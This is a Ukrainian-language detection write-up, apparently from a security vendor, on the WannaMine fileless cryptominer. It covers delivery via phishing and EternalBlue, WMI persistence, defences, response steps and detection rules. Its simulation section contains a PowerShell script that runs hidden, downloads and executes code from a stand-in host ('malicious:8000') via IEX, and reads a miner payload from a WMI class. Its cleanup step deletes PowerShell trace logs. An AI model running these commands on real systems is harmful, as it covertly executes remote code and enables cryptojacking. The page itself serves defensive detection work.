Аналіз криптомайнера WannaMine: безфайлове виконання та збереження
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
WannaMine – це безфайловий криптомайнер, який покладається на інструменти, що використовуються в системі,— в першу чергу PowerShell і Windows Management Instrumentation (WMI) — щоб залишатися в пам’яті та майнити Monero.
Розслідування
WannaMine доставляється або через фішингові електронні листи з шкідливими пакетними файлами, або шляхом експлуатації вразливості SMB EternalBlue. Для стійкості він реєструє підписки на події WMI та зберігає закодований PowerShell у спеціальних класах WMI.
Захист від WannaMine
Запобігти експлуатації EternalBlue, виправивши SMB (MS17-010). Обмежте виконання та моніторинг PowerShell, контролюйте створення незвичайних класів WMI та споживачів подій, а також забезпечте найменшу привілею, щоб обмежити зловживання обліковими даними.
Реакція
Алертуйте на аномальну поведінку PowerShell/WMI, ізолюйте уражені хости, видаліть шкідливих споживачів подій/підписок WMI, змініть потенційно скомпрометовані облікові дані та проведіть судову експертизу пам’яті, щоб підтвердити наявність майнера у пам’яті.
Потік атаки
Виявлення
Завантаження або передача через Powershell (через cmdline)
Перегляд
Підозрілий зміна схеми живлення (через cmdline)
Перегляд
LOLBAS wmic (через cmdline)
Перегляд
Завантаження підозрілого файлу через прямий IP (через проксі)
Перегляд
IOCs (HashMd5) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
IOCs (Emails) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
IOCs (SourceIP) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
IOCs (DestinationIP) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
Виявлення безфайлового криптоджекінгу WannaMine [Створення процесу у Windows]
Перегляд
Виявлення безфайлового криптомайнера WannaMine PowerShell [Windows Powershell]
Перегляд
Сімуляція виконання
Попередньо обов’язково: Телеметрія і первірка базової лінії повинні були бути пройдені.
Оцінка: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначену для активізації правила виявлення. Команди та наратив ПОВИННІ прямо відображати ідентифіковані TTPs і спрямовані на створення саме тієї телеметрії, яка очікується логікою виявлення.
-
Розповідь про атаку та команди:
Зловмисник отримує віддалене виконання коду на кінцевій точці Windows. Щоб уникнути взаємодії з користувачем, він запускає PowerShell у прихованому вікні (-W Hidden) без профілю (-NoP) і неінтерактивний (-NonI). Команда використовуєIEXдля завантаження PowerShell навантаження з шкідливого HTTP сервера (http://malicious:8000/in6.ps1). Завантажений скрипт реєструє клас WMI з назвоюOffice_Updaterпідrootdefaultякий зберігає властивістьmon, що містить Base64-закодований Monero майнер. Потім зловмисник читає властивість через[WmiClass]та викликає її, що ефективно запускає криптомайнер без створення нового процесу. Ця послідовність відповідає трьом підстрокам командного рядка правила виявлення. -
Скрипт регресійного тестування:
#------------------------------------------------- # Симуляція виконання безфайлового криптомайнера WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Приховане, неінтерактивне виконання PowerShell $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Виконати команду (це те, що запускає зловмисник) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Примітка: передбачається, що віддалений скрипт (in6.ps1) створює клас WMI # з властивістю "mon", що містить код майнінгу. -
Команди очистки:
# Видалити шкідливий клас WMI Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Зупинити всі залишки процесів PowerShell майнера (якщо вони були запущені) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # За бажанням: Очистити транскрипти/журнали PowerShell, створені під час тесту Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue